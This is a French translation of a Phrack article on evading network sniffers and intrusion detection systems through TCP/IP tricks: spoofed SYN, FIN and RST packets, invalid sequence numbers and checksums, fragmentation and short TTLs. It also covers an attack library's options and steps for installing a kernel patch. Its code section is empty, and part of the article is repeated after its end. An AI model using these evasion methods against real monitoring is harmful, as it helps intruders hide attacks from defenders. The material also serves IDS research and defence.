Magazine Phrack Volume 8, Numéro 54.
[ Bypasser les Sniffers et les Systèmes de Détection d'Intrusions ] par horizon <[email protected]>
----[ Vue d'ensemble
Le but de cet article est de démontrer quelques techniques qui peuvent être employées pour combattre des sniffers et des systèmes de détection d'intrusions. Cet article se concentre principalement sur confondre votre sniffer moyen d'"intrus", avec une certaine assurance approximative des systèmes de détection d'intrusion (IDS). Cependant, les méthodes et le code présent dans cet article devraient être un bon point de départ pour obtenir vos paquets en passant des systèmes d'ID. Pour un examen approfondi des techniques d'attaque contre les IDS, vérifiez : http://www.nai.com/products/security...tml/doc000.asp.
Il y a un grand nombre de techniques pertinentes autres que celles qui sont appliquées dans cet article. J'ai choisi quelques techniques génériques qui si tout va bien peuvent être facilement étendue à des attaques ciblées et complexes. Après avoir appliquées ces attaques, je suis intervenu et ai essayé de les corréler avec les attaques décrites dans l'article de NAI, le cas échéant.
La cause principale des imperfections discutées dans cet article est que la plupart des sniffers et systèmes de détection d'intrusions n'ont pas la même robustesse d'implémentation TCP/IP que les machines qui communiquent réellement sur le réseau. Beaucoup de sniffers et d'IDS utilisent une forme de datalink access level, tel que BPF, DLPI, ou SOCK_PACKET. Le sniffer reçoit la trame entière au niveau de la couche de liaison de données, et n'obtient aucun indice contextuel du noyau quant à la façon dont cette trame sera interprétée. Ainsi, le sniffer a la charge d'interpréter le paquet entier et de deviner comment le noyau de la machine réceptrice va le traiter. Heureusement, 95% du temps, le paquet sera sain, et la pile TCP/IP du noyau va se comporter de façon plutôt prévisible. C'est l'autre 5% du temps sur lequel que nous nous focaliserons.
Cet article est divisé en 3 sections : une vue d'ensemble des techniques utilisées, une description de l'implémentation et de l'utilisation, et du code. Dans la mesure du possible, le code a été implémenté dans un format relativement portable : une bibliothèque partagée qui capture autour de connect(), qui peut être utilisé avec LD_PRELOAD pour "installer" sur vos programmes clients normaux. Cette bibliothèque partagée utilise raw socket pour créer les paquets TCP, qui devrait fonctionner sur la plupart des stations unix. Cependant, certaines des attaques décrites sont trop complexes pour être mises en oeuvre avec des raw sockets, ainsi de simples patches noyau OpenBSD sont fournies. Je travaille sur des patches noyau complémentaire pour Linux, qui sera placé sur le site Web rhino9 une fois complets. Le site Web rhino9 est à : http://www.rhino9.ml.org/
----[ Section 1. Les Astuces
Le premier ensemble d'astuces sont seulement conçus pour duper la plupart des sniffer, et n'auront très probablement aucun effet sur un système d'ID décent. Le deuxième ensemble d'astuces devrait être assez avancé pour commencer à avoir un impact sur l'efficacité d'un système de détection d'intrusion.
Attaques spécifiques sur le Sniffer
---------------------------------
1. Design de Sniffer - One Host Design
La première technique est extrêmement simple, et tire profit de la conception de beaucoup de sniffers. Plusieurs sniffers d'intrus sont conçus pour suivre une connexion, et ignorent tout autres jusqu'à ce que cette connexion soit fermée ou atteigne un certain time out interne. Les sniffers conçus de cette façon ont un profil bas très, aussi bien que l'utilisation mémoire et le temps-cpu. Cependant, ils manquent évidemment la majeure partie de données qui peuvent être obtenues. Ceci nous donne une méthode facile empêchant de capturer nos paquets : avant notre connexion, nous envoyons un paquet SYN spoofé d'un hôte inexistant au même port au lequel nous essayons de nous relier. Ainsi, le sniffer voit le paquet SYN, et s'il écoute, il configurera son état interne pour surveiller tous les paquets liés à cette connexion. Puis, quand nous établissons notre rapport, le sniffer ignore notre SYN parce qu'il observe le faux hôte. Au dernier time out de l'hôte, notre connexion ne sera pas enregistrée parce que notre paquet SYN initial a été envoyé il y a longtemps.
2. Sniffer Design - options IP
La prochaine technique dépend des pratiques ininformées de coding avec les sniffers. Si vous regardez le code de certains des sniffers d'intrus, à savoir ceux basé sur l'original linsniffer, vous verrez qu'ils ont une structure qui ressemble ceci :
Le sniffer lira un paquet de l'interface liaison de données, et le place alors dans cette structure ainsi il peut l'analyser facilement. Ceci fonctionne très bien la majeure partie du temps. Cependant, cette approche fait beaucoup de présomption : elle suppose que la taille de l'en-tête IP est 20 octets, et elle suppose également que la taille de l'en-tête TCP est 20 octets. Si vous envoyez un paquet IP avec 40 octets d'options, alors le sniffer va regarder à l'intérieur de vos options IP pour l'en-tête TCP, et complètement mal interpréter votre paquet. Si le sniffer manipule votre en-tête IP correctement, mais manipule inexactement l'en-tête TCP, ça n marchera pas non plus. Dans cette situation, vous obtenez 40 octets de données supplémentaires que le sniffer loggera. J'ai implémenté des options IP obligatoires au noyau d'OpenBSD tels qu'il est maniable par un sysctl.
3. Insertion - FIN et RST Spoofing - ISN invalide
Cette technique tire profit du fait que votre sniffer typique ne va pas maintenir les détails spécifiques de la connexion continue. Dans une connexion TCP, des numéros de séquence sont utilisés comme mécanisme de contrôle pour déterminer combien des données ont été envoyées, et l'ordre correcte pour les données qui ont été envoyées. La plupart des sniffers ne maintiennent pas les numéros de séquence dans une connexion continue TCP. Ceci nous permet d'insérer des paquets dans le flux de données que le noyau négligera, mais que le sniffer interprétera comme valide. La première technique que nous utiliserons est basé sur le spoofing des paquets FIN et RST. FIN et RST sont des flags de contrôle à l'intérieur des paquets TCP, un FIN indiquant le déclenchement d'un ordre d'arrêt d'un côté d'une connexion, et un RST indiquant qu'une connexion devrait être immédiatement redémarrée. Si nous envoyons un paquet avec un FIN ou un RST, avec un numéro de séquence qui est éloigné du numéro de sequence courant prévu par le noyau, alors le noyau le négligera. Cependant, le sniffer considérera probablement ceci comme une requête légitime de fin de connexion ou de redémarrage de connexion, et cesse d'enregistrer.
Il est intéressant de noter que certaines implémentations de piles TCP ne contrôlent pas les numéros de séquence correctement à la réception d'un RST. Ceci fournit évidemment un grand potentiel pour une attaque DoS. Spécifiquement, j'ai noté que Digital Unix 4.0d redémarrera des connexions sans contrôler les numéros de séquence sur des paquets RST.
4. Insertion - Data Spoofing - ISN invalide
Cette technique est une variation de la technique précédente, qui tire profit du fait qu'un sniffer typique ne suivra pas les ISN d'une connexion TCP. Beaucoup de sniffers ont une certaine longueur de saisie de données, telle qu'ils cesseront d'enregistrer une connexion une fois que la quantité de données a été capturée. Si nous envoyons une grande quantité de données après le déclenchement de la connexion, avec des numéros de séquence complètement faux, nos paquets soit abandonné par le noyau. Cependant, le sniffer enregistrera potentiellement toute ces données des en tant qu'information valide. C'est clairement mise en application de l'attaque "tcp-7" mentionnée dans le papier de NAI.
Attaques IDS / Sniffer :
------------------------
Les techniques ci-dessus fonctionnent étonnamment bien pour la plupart des sniffers, mais elles ne vont pas avoir beaucoup d'effet sur la plupart des IDS. Les 6 techniques suivantes sont un peu plus compliquées, mais elles constituent un bon point de départ pour passer les moniteurs réseau les plus complexes.
5. Evasion - IP Fragmentation
La fragmentation IP permet à des paquets d'être découpés en plusieurs datagrammes afin d'adapter les paquets au Maximum Transmission Unit de l'interface physique réseau. Habituellement, TCP a connaissance du MTU, et n'envoie pas les paquets, lesquels doivent être fragmentés au niveau d'une couche IP. Nous pouvons utiliser cet aspect à notre avantage pour essayer de perturber le fonctionnement des sniffers et des IDS. Il existe plusieurs attaques possibles qui utilisent la fragmentation, mais nous en révélerons qu'une seule. Nous pouvons envoyer un paquet TCP découpé en plusieurs datagrammes IP avec les 8 premiers octets de l'en-tête TCP envoyés dans un seul paquet, et le reste des données envoyées dans des paquets de 32 octets. Cela nous permet réellement de tromper un outil d'analyse réseau. Tout d'abord, le sniffer/IDS devra être capable de faire le ré-assemblage de fragment. En second lieu, il devra être capable de traiter les en-têtes TCP fragmentés. Il s'avère que cette technique simple est plus que suffisante pour by-passer vos paquets à travers la plupart des moniteurs réseau sur la couche de liaison de données. Voici une autre attaque que j'ai choisi d'implémenter comme un appel système sysctl dans le noyau OpenBSD.
Cette technique est très puissante pour by-passer totalement la plupart des sniffers. Cependant, elle exige quelques expérimentations car vous devez vous assurer que vos paquets passeront tous les filtres entre vous et la cible. Certains filtres de paquets, de façon prudente suppriment les paquets fragmentés dont les en-têtes UDP/TCP semblent avoir été ré-écris, ou qui semblent anormalement petits. L'implémentation dans cet article fournit une quantité acceptable de contrôles de la taille des fragments que votre machine produira. Ceci vous permettra de mettre en application les attaques "frag-1" et "frag-2" décrites dans l'article NAI.
6. Desynchronisation - Post Connection SYN
Si nous essayons de duper un sniffer intelligent, ou un système d'ID, alors nous pouvons être assez certains qu'il maintiendra les numéros de séquence TCP. Pour cette technique, nous essayerons de desynchroniser le sniffer/IDS des numéros de séquences réels que le noyau honore. Nous mettrons en application cette attaque en envoyant un paquet SYN post connexion dans notre flux de données, qui aura des numéros de séquence divergents, mais rencontrons autrement tous les critères nécessaires à recevoir par notre hôte cible. Cependant, l'hôte cible ignorera ce paquet SYN, parce qu'il met en référence une connexion déjà établie. L'intention de cette attaque est d'obtenir que sniffer/IDS resynchronise sa notion des numéros de séquence au nouveau paquet de SYN. Il ignorera alors n'importe quelles données qui sont une partie légitime du flux initial, parce qu'il attendra un numéro de séquence différent. Si nous réussissons à resynchroniser les IDS avec un paquet SYN, nous pouvons alors envoyer un paquet RST avec le nouveau numéro de séquence et fermons sa notion de connexion. Ceci correspond clairement à l'attaque "tcbc-2" mentionnée dans l'article de NAI.
7. Desynchronisation - Pre Connection SYN
Une autre attaque que nous exécutons toujours sur ce thème doit envoyer un premier SYN avant la vraie connexion, avec un checksum TCP incorrect. Si le sniffer est assez futé pour ignorer les SYN ultérieur dans une connexion, mais pas assez futé pour contrôler le checksum TCP, alors cette attaque synchronisera le sniffer/IDS à un numéro de séquence faux avant que la vraie connexion se produise. Cette attaque appelle bind pour obtenir du noyau d'assigner un port local au socket avant l'appel de connexion.
8. Insertion - FIN and RST Spoofing - TCP checksum validation
Cette technique est une variation de la technique spoofing FIN/RST mentionnée ci-dessus. Cependant, cette fois nous essayerons d'envoyer les paquets FIN et RST qui devraient légitimement fermer la connexion, à une exception notable : le checksum TCP sera incorrect. Ces paquets seront immédiatement droppé par le noyau, mais potentiellement capturés par l'IDS/sniffer. Cette attaque exige du support noyau afin de déterminer les numéros de séquence corrects à utiliser avec le paquet. C'est semblable à l'attaque "insert-2" dans l'article de NAI.
9. Insertion - Donnée Invalide - TCP checksum validation
Cette technique est une variation de l'attaque précédente d'insertion de données, excepté que nous insérerons des données avec des numéros de séquence corrects, mais des checksum TCP incorrects. Ceci servira à confondre et desynchroniser des sniffers et IDS en les alimentant avec beaucoup de données qui ne seront pas traitées par les noyaux participants. Cette attaque exige le support du noyau pour obtenir les numéros de séquence corrects pour les paquets sortants. Cette attaque est également semblable à l'attaque "insert-2" décrite dans l'article de NAI.
10. Insertion - Spoofing FIN et RST - TTL Court
Si l'IDS ou le sniffer est placé sur le réseau tel qu'il se trouve à plusieurs hops de l'hôte qu'il surveille, alors nous pouvons faire une attaque simple, utilisant la zone TTL du paquet IP. Pour cette attaque, nous déterminons le plus court TTL qui peut être employée pour atteindre l'hôte cible, et lui soustrayons un. Ceci nous permet d'envoyer les paquets qui n'atteindront pas l'hôte cible, mais qui offre des possibilités intéressantes d'atteindre l'IDS ou le sniffer. Dans cette attaque, nous envoyons un quelques paquets FIN, quelques paquets RST.
11. Insertion - Data Spoofing - TTL Court
Pour notre attaque finale, nous enverrons 8ko de données avec les numéros de séquence et checksum TCP corrects. Cependant, le TTL sera un hop trop court pour atteindre notre hôte cible.
Résumé
-------
Toutes ces attaques fonctionnent de concert pour confondre des sniffers et des IDS. Voici l'ordre dans lequel nous les exécutons :
Attaque 1 - Desing de Sniffer One Host.
FAKEHOST -> TARGET SYN
Attaque 7 - Tentavite de Désynchronisation Pré-connexion.
REALHOST -> TARGET SYN (mauvais Checksum TCP, Num Seq arbitraire)
Activité du noyau
REALHOST -> TARGET SYN (C'est le vrai SYN, envoyé par votre noyau)
Attaque 6 - Tentative de Désynchronisation Post-connexion.
REALHOST -> TARGET SYN (Num Seq arbitraire X)
REALHOST -> TARGET SYN (Num Seq X+1)
Attaque 4 - Data Spoofing - Numéros de séquence invalides
REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attaque 5 - FIN/RST Spoofing - Numéros de séquence invalides
REALHOST -> TARGET FIN (Num Seq X+2+8192)
REALHOST -> TARGET FIN (Num Seq X+3+8192)
REALHOST -> TARGET RST (Num Seq X+4+8192)
REALHOST -> TARGET RST (Num Seq X+5+8192)
Attaque 11 - Data Spoofing - TTL
* REALHOST -> TARGET DATA x 8 (1024 octets, TTL Court , Num Seq Réel Y)
Attaque 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (TTL Court, Num Seq Y+8192)
* REALHOST -> TARGET FIN (TTL Court, Num Seq Y+1+8192)
* REALHOST -> TARGET RST (TTL Court, Num Seq Y+2+8192)
* REALHOST -> TARGET RST (TTL Court, Num Seq Y+3+8192) Attaque - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 octets, mauvais Checksum TCP, Num Seq Réel Z)
Attaque - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (mauvais Checksum TCP, Num Seq Z+8192)
* REALHOST -> TARGET FIN (mauvais Checksum TCP, Num Seq Z+1+8192)
* REALHOST -> TARGET RST (mauvais Checksum TCP, Num Seq Z+2+8192)
* REALHOST -> TARGET RST (mauvais Checksum TCP, Num Seq Z+3+8192)
Les attaques avec un astérisque exigent du support noyau de déterminer les numéros de séquence corrects. Discutablement, ceci pourrait être fait sans support noyau, en utilisant un snifer de niveau datalink, mais il rendrait le code sensiblement plus complexe, parce qu'il devrait rassembler des fragments, et faire plusieurs contrôles de validation afin de suivre la vraie connexion. L'utilisateur peut choisir que lesquelles de ces attaques il/elle voudrait exécuter, et les numéros de séquence s'ajusteront en conséquence.
----[ Section 2 - Implementation et Usage
Mon but premier lorsque j'ai mis en application ces techniques était de maintenir les changements nécessaires à l'utilisation normale de système aussi léger que possible. J'ai dû diviser les techniques en 2 catégories : attaques qui peuvent être exécutées depuis le contexte d'utilisateur, et attaques qui doivent être supportés par le noyau d'une certaine manière. Mon but secondaire était de rendre l'ensemble des attaques locales raisonnablement portatif à d'autres environnements d'Unix, autres qu'OpenBSD et Linux.
Les attaques locales sont appliquées en utilisant la redirection de bibliothèque partagée, une technique extrêmement utile empruntée à l'article P51-08 de halflife. Le premier programme énuméré ci-dessous, congestant.c, est une bibliothèque partagée que l'utilisateur requiert le chargeur de linker d'abord. Ceci est fait avec la variable d'environnement de LD_PRELOAD sur plusieurs Unix. Pour plus d'informations sur cette technique, référez-vous à l'article initial par halflife.
La bibliothèque partagée définit le symbole de connexion, de ce fait en s'appropriant la fonction normale de connexion depuis libc (ou de libsocket) pendant la phase de chargement du programme d'exécution. Ainsi, vous devriez pouvoir utiliser ces techniques avec la plupart de n'importe quel programme client qui utilise la fonctionnalité normale BSD socket. OpenBSD ne nous laisse pas faire la redirection de bibliothèque partagée (quand vous essayez de dlsym le vieux symbole hors de libc, il vous donne un pointeur vers fonction que vous aviez préchargée). Cependant, ce n'est pas un problème parce que nous pouvons juste appeler le syscall connect() directement.
Cette bibliothèque partagée a quelques inconvénients définis, mais vous en avez pour votre argent. Cela ne fonctionnera pas correctement avec les programmes qui font des appels de connexion non-bloquant, ou l'accès de niveau RAW ou datalink. En outre, il est conçu pour l'usage sur de sockets TCP, et sans support noyau pour déterminer le type d'une socket, il essayera les attaques TCP sur des connexions UDP. Ce support actuel est seulement appliqué sous OpenBSD. Cependant, ce n'est pas un gros inconvénient parce qu'il envoie juste quelques paquets qui sont ignorés. Un autre inconvénient à la bibliothèque partagée est qu'il sélectionne un numéro de séquence hors du bleu pour représenter le "faux" numéro de séquence. En raison de cela, il y a une possibilité très petite que la bibliothèque partagée sélectionne un numéro de séquence légitime, et ne desynchronise pas le flux. Ceci, cependant, est extrêmement peu probable.
Un fichier makefile accompagne la bibliothèque partagée. Éditez-le pour l'adapter à votre hôte, et puis entrez dans le fichier source et faites-le pointer vers votre copie de libc.so, et vous devriez être prêt. Le code a été testé sur OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, glibc Debian Linux, Solaris 2.5, et Solaris 2.6. Vous pouvez utiliser la bibliothèque comme ceci :
La bibliothèque capturera toutes les connexions dans les programmes que vous exécutez depuis ce point, et vous assure une certaine protection en coulisses. Vous pouvez contrôler le programme en définissant la variable d'environnement CONGCONF. Vous lui donnez une liste d'attaques délimitées par des virgules, comme ceci :
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs noyau support)
FC: Spoof FIN packets with bad TCP checksums. (needs noyau support)
RC: Spoof RST packets with bad TCP checksums. (needs noyau support)
DT: Insert 8k of data with short TTLs. (needs noyau support)
FT: Spoof FIN packets with short TTLs. (needs noyau support)
RT: Spoof RST packets with short TTLs. (needs noyau support)
Support noyau
----------------
Des patches noyau OpenBSD sont fournis pour faciliter plusieurs des techniques décrites ci-dessus. Ces patches ont été fait avec la distribution des sources 2.4. J'ai ajouté 3 variables sysctl au noyau, et un nouvel appel système. Les 3 variables sysctl sont :
net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack (integer)
Le nouvel appel système est getsockinfo(), et c'est l'appel système numéro 242.
Les 3 sysctl peuvent être employés pour modifier les caractéristiques de chaque paquet IP sortant venant de la machine. La variable fraghackhead indique un nouveau MTU, en octets, pour les datagrammes IP sortants. Fraghackhead est appliqué à chaque datagramme sortant, à moins que fraghackbody soit également défini. Dans ce cas, le MTU pour le premier fragment d'un paquet est lu depuis fraghackhead, et le MTU pour chaque fragment consécutif est lu depuis fraghackbody. Ceci vous permet de forcer votre machine à fragmenter tout votre trafic, à n'importe quelle taille que vous indiquez. La raison pour qu'il soit divisé en 2 variables est de faire en sorte que le premier fragment contienne l'entête TCP/UDP entière, et que les fragments suivants soit de 8 ou 16 octets. De cette façon, vous pouvez obtenir vos paquets réduits en fragments après certains routeurs filtrant qui bloquent n'importe quel type d'en-tête potentiellement réécrite. L'optionshack sysctl vous permet de placer 40 octets obligatoires d'options IP NULL sur chaque paquet sortant.
J'ai appliqué ces contrôles tels qu'ils n'ont aucun effet sur des paquets envoyés par des raw sockets. L'implication de ceci est que nos paquets attaquants ne seront pas réduits en fragments ou ne contendront pas d'options IP.
Utiliser ces sysctl est assez simple : pour les variables fraghack, vous indiquez un certain nombre d'octets (ou 0 pour les arrêter), et pour optionshack, vous l'avez placé à 0 ou à 1. Voici un exemple d'utilisation :
Il est très important de noter que vous devriez faire attention avec les options fraghack. Quand vous indiquez la fragmentation extrême, vous mangez rapidement de la mémoire noyau disponible pour enregistrer des en-têtes de paquet. Si l'utilisation de mémoire est trop élevée, vous noterez sendto() pour renvoyer une erreur no buffer space. Si vous vous en tenez aux programmes comme telnet ou ssh, qui utilisent des petits paquets, alors vous devriez être bons avec 28 ou 28/36. Cependant, si vous l'utilisez avec des programmes qui utilisent de grands paquets comme ftp ou rcp, alors vous devriez entrer fraghackbody jusqu' à un nombre plus élevé, tel que 200.
L'appel système, getsockinfo, est nécessaire pour le programme local pour déterminer si une socket est une socket TCP, et pour interroger le noyau pour le prochain numéro de séquence qu'il s'attend à envoyer pour le prochain paquet sortant, comme le prochain numéro de séquence qu'il compte recevoir depuis le port distant. Ceci permet au programme local d'appliquer des attaques basées sur le fait d'avoir un numéro de séquence correct, mais une imperfection dans le paquet tel que TTL courte ou à un mauvais checksum TCP.
Installation du Patch noyau
----------------------------
Voici les étapes que j'utilise pour installer les patches noyau.
Avertissement : Je ne suis pas un programmeur de noyau expérimenté, ainsi ne soyez pas trop contrarié si votre machine devient peu un barjo. Le test que j'ai réalisé sur mes propres machines s'est bien déroulé, mais rendez vous compte que vous jouez vraiment avec la matière critique en installant ces patches. Vos performances d'exécutions peuvent souffrir, ou d'autres mauvaises blagues du même genre. Mais hey, vous ne pouvez pas vous amuser si vous ne prenez aucun risque:>
Step 1. Appliquez netinet.patch dans /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h dans /usr/include/netinet/in.h
Step 3. aller dans /usr/src/usr.sbin/sysctl, et recompilez et installez le
Step 4. Appliquez kern.patch dans /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Appliquez sys.patch dans /usr/src/sys/sys/
Step 7. cd dans votre répertoire de compilation noyau (/usr/src/sys/arch/XXX/compile/XXX), et faites un make depend && make.
Step 8. cp bsd /bsd, reboot, et croisez les doigts.
----[ The Code
----[ EOF
[ Bypasser les Sniffers et les Systèmes de Détection d'Intrusions ] par horizon <[email protected]>
----[ Vue d'ensemble
Le but de cet article est de démontrer quelques techniques qui peuvent être employées pour combattre des sniffers et des systèmes de détection d'intrusions. Cet article se concentre principalement sur confondre votre sniffer moyen d'"intrus", avec une certaine assurance approximative des systèmes de détection d'intrusion (IDS). Cependant, les méthodes et le code présent dans cet article devraient être un bon point de départ pour obtenir vos paquets en passant des systèmes d'ID. Pour un examen approfondi des techniques d'attaque contre les IDS, vérifiez : http://www.nai.com/products/security...tml/doc000.asp.
Il y a un grand nombre de techniques pertinentes autres que celles qui sont appliquées dans cet article. J'ai choisi quelques techniques génériques qui si tout va bien peuvent être facilement étendue à des attaques ciblées et complexes. Après avoir appliquées ces attaques, je suis intervenu et ai essayé de les corréler avec les attaques décrites dans l'article de NAI, le cas échéant.
La cause principale des imperfections discutées dans cet article est que la plupart des sniffers et systèmes de détection d'intrusions n'ont pas la même robustesse d'implémentation TCP/IP que les machines qui communiquent réellement sur le réseau. Beaucoup de sniffers et d'IDS utilisent une forme de datalink access level, tel que BPF, DLPI, ou SOCK_PACKET. Le sniffer reçoit la trame entière au niveau de la couche de liaison de données, et n'obtient aucun indice contextuel du noyau quant à la façon dont cette trame sera interprétée. Ainsi, le sniffer a la charge d'interpréter le paquet entier et de deviner comment le noyau de la machine réceptrice va le traiter. Heureusement, 95% du temps, le paquet sera sain, et la pile TCP/IP du noyau va se comporter de façon plutôt prévisible. C'est l'autre 5% du temps sur lequel que nous nous focaliserons.
Cet article est divisé en 3 sections : une vue d'ensemble des techniques utilisées, une description de l'implémentation et de l'utilisation, et du code. Dans la mesure du possible, le code a été implémenté dans un format relativement portable : une bibliothèque partagée qui capture autour de connect(), qui peut être utilisé avec LD_PRELOAD pour "installer" sur vos programmes clients normaux. Cette bibliothèque partagée utilise raw socket pour créer les paquets TCP, qui devrait fonctionner sur la plupart des stations unix. Cependant, certaines des attaques décrites sont trop complexes pour être mises en oeuvre avec des raw sockets, ainsi de simples patches noyau OpenBSD sont fournies. Je travaille sur des patches noyau complémentaire pour Linux, qui sera placé sur le site Web rhino9 une fois complets. Le site Web rhino9 est à : http://www.rhino9.ml.org/
----[ Section 1. Les Astuces
Le premier ensemble d'astuces sont seulement conçus pour duper la plupart des sniffer, et n'auront très probablement aucun effet sur un système d'ID décent. Le deuxième ensemble d'astuces devrait être assez avancé pour commencer à avoir un impact sur l'efficacité d'un système de détection d'intrusion.
Attaques spécifiques sur le Sniffer
---------------------------------
1. Design de Sniffer - One Host Design
La première technique est extrêmement simple, et tire profit de la conception de beaucoup de sniffers. Plusieurs sniffers d'intrus sont conçus pour suivre une connexion, et ignorent tout autres jusqu'à ce que cette connexion soit fermée ou atteigne un certain time out interne. Les sniffers conçus de cette façon ont un profil bas très, aussi bien que l'utilisation mémoire et le temps-cpu. Cependant, ils manquent évidemment la majeure partie de données qui peuvent être obtenues. Ceci nous donne une méthode facile empêchant de capturer nos paquets : avant notre connexion, nous envoyons un paquet SYN spoofé d'un hôte inexistant au même port au lequel nous essayons de nous relier. Ainsi, le sniffer voit le paquet SYN, et s'il écoute, il configurera son état interne pour surveiller tous les paquets liés à cette connexion. Puis, quand nous établissons notre rapport, le sniffer ignore notre SYN parce qu'il observe le faux hôte. Au dernier time out de l'hôte, notre connexion ne sera pas enregistrée parce que notre paquet SYN initial a été envoyé il y a longtemps.
2. Sniffer Design - options IP
La prochaine technique dépend des pratiques ininformées de coding avec les sniffers. Si vous regardez le code de certains des sniffers d'intrus, à savoir ceux basé sur l'original linsniffer, vous verrez qu'ils ont une structure qui ressemble ceci :
Code:
struct etherpacket { etherheader eh; ipheader ip; tcpheader tcp; char data[8192]; };
3. Insertion - FIN et RST Spoofing - ISN invalide
Cette technique tire profit du fait que votre sniffer typique ne va pas maintenir les détails spécifiques de la connexion continue. Dans une connexion TCP, des numéros de séquence sont utilisés comme mécanisme de contrôle pour déterminer combien des données ont été envoyées, et l'ordre correcte pour les données qui ont été envoyées. La plupart des sniffers ne maintiennent pas les numéros de séquence dans une connexion continue TCP. Ceci nous permet d'insérer des paquets dans le flux de données que le noyau négligera, mais que le sniffer interprétera comme valide. La première technique que nous utiliserons est basé sur le spoofing des paquets FIN et RST. FIN et RST sont des flags de contrôle à l'intérieur des paquets TCP, un FIN indiquant le déclenchement d'un ordre d'arrêt d'un côté d'une connexion, et un RST indiquant qu'une connexion devrait être immédiatement redémarrée. Si nous envoyons un paquet avec un FIN ou un RST, avec un numéro de séquence qui est éloigné du numéro de sequence courant prévu par le noyau, alors le noyau le négligera. Cependant, le sniffer considérera probablement ceci comme une requête légitime de fin de connexion ou de redémarrage de connexion, et cesse d'enregistrer.
Il est intéressant de noter que certaines implémentations de piles TCP ne contrôlent pas les numéros de séquence correctement à la réception d'un RST. Ceci fournit évidemment un grand potentiel pour une attaque DoS. Spécifiquement, j'ai noté que Digital Unix 4.0d redémarrera des connexions sans contrôler les numéros de séquence sur des paquets RST.
4. Insertion - Data Spoofing - ISN invalide
Cette technique est une variation de la technique précédente, qui tire profit du fait qu'un sniffer typique ne suivra pas les ISN d'une connexion TCP. Beaucoup de sniffers ont une certaine longueur de saisie de données, telle qu'ils cesseront d'enregistrer une connexion une fois que la quantité de données a été capturée. Si nous envoyons une grande quantité de données après le déclenchement de la connexion, avec des numéros de séquence complètement faux, nos paquets soit abandonné par le noyau. Cependant, le sniffer enregistrera potentiellement toute ces données des en tant qu'information valide. C'est clairement mise en application de l'attaque "tcp-7" mentionnée dans le papier de NAI.
Attaques IDS / Sniffer :
------------------------
Les techniques ci-dessus fonctionnent étonnamment bien pour la plupart des sniffers, mais elles ne vont pas avoir beaucoup d'effet sur la plupart des IDS. Les 6 techniques suivantes sont un peu plus compliquées, mais elles constituent un bon point de départ pour passer les moniteurs réseau les plus complexes.
5. Evasion - IP Fragmentation
La fragmentation IP permet à des paquets d'être découpés en plusieurs datagrammes afin d'adapter les paquets au Maximum Transmission Unit de l'interface physique réseau. Habituellement, TCP a connaissance du MTU, et n'envoie pas les paquets, lesquels doivent être fragmentés au niveau d'une couche IP. Nous pouvons utiliser cet aspect à notre avantage pour essayer de perturber le fonctionnement des sniffers et des IDS. Il existe plusieurs attaques possibles qui utilisent la fragmentation, mais nous en révélerons qu'une seule. Nous pouvons envoyer un paquet TCP découpé en plusieurs datagrammes IP avec les 8 premiers octets de l'en-tête TCP envoyés dans un seul paquet, et le reste des données envoyées dans des paquets de 32 octets. Cela nous permet réellement de tromper un outil d'analyse réseau. Tout d'abord, le sniffer/IDS devra être capable de faire le ré-assemblage de fragment. En second lieu, il devra être capable de traiter les en-têtes TCP fragmentés. Il s'avère que cette technique simple est plus que suffisante pour by-passer vos paquets à travers la plupart des moniteurs réseau sur la couche de liaison de données. Voici une autre attaque que j'ai choisi d'implémenter comme un appel système sysctl dans le noyau OpenBSD.
Cette technique est très puissante pour by-passer totalement la plupart des sniffers. Cependant, elle exige quelques expérimentations car vous devez vous assurer que vos paquets passeront tous les filtres entre vous et la cible. Certains filtres de paquets, de façon prudente suppriment les paquets fragmentés dont les en-têtes UDP/TCP semblent avoir été ré-écris, ou qui semblent anormalement petits. L'implémentation dans cet article fournit une quantité acceptable de contrôles de la taille des fragments que votre machine produira. Ceci vous permettra de mettre en application les attaques "frag-1" et "frag-2" décrites dans l'article NAI.
6. Desynchronisation - Post Connection SYN
Si nous essayons de duper un sniffer intelligent, ou un système d'ID, alors nous pouvons être assez certains qu'il maintiendra les numéros de séquence TCP. Pour cette technique, nous essayerons de desynchroniser le sniffer/IDS des numéros de séquences réels que le noyau honore. Nous mettrons en application cette attaque en envoyant un paquet SYN post connexion dans notre flux de données, qui aura des numéros de séquence divergents, mais rencontrons autrement tous les critères nécessaires à recevoir par notre hôte cible. Cependant, l'hôte cible ignorera ce paquet SYN, parce qu'il met en référence une connexion déjà établie. L'intention de cette attaque est d'obtenir que sniffer/IDS resynchronise sa notion des numéros de séquence au nouveau paquet de SYN. Il ignorera alors n'importe quelles données qui sont une partie légitime du flux initial, parce qu'il attendra un numéro de séquence différent. Si nous réussissons à resynchroniser les IDS avec un paquet SYN, nous pouvons alors envoyer un paquet RST avec le nouveau numéro de séquence et fermons sa notion de connexion. Ceci correspond clairement à l'attaque "tcbc-2" mentionnée dans l'article de NAI.
7. Desynchronisation - Pre Connection SYN
Une autre attaque que nous exécutons toujours sur ce thème doit envoyer un premier SYN avant la vraie connexion, avec un checksum TCP incorrect. Si le sniffer est assez futé pour ignorer les SYN ultérieur dans une connexion, mais pas assez futé pour contrôler le checksum TCP, alors cette attaque synchronisera le sniffer/IDS à un numéro de séquence faux avant que la vraie connexion se produise. Cette attaque appelle bind pour obtenir du noyau d'assigner un port local au socket avant l'appel de connexion.
8. Insertion - FIN and RST Spoofing - TCP checksum validation
Cette technique est une variation de la technique spoofing FIN/RST mentionnée ci-dessus. Cependant, cette fois nous essayerons d'envoyer les paquets FIN et RST qui devraient légitimement fermer la connexion, à une exception notable : le checksum TCP sera incorrect. Ces paquets seront immédiatement droppé par le noyau, mais potentiellement capturés par l'IDS/sniffer. Cette attaque exige du support noyau afin de déterminer les numéros de séquence corrects à utiliser avec le paquet. C'est semblable à l'attaque "insert-2" dans l'article de NAI.
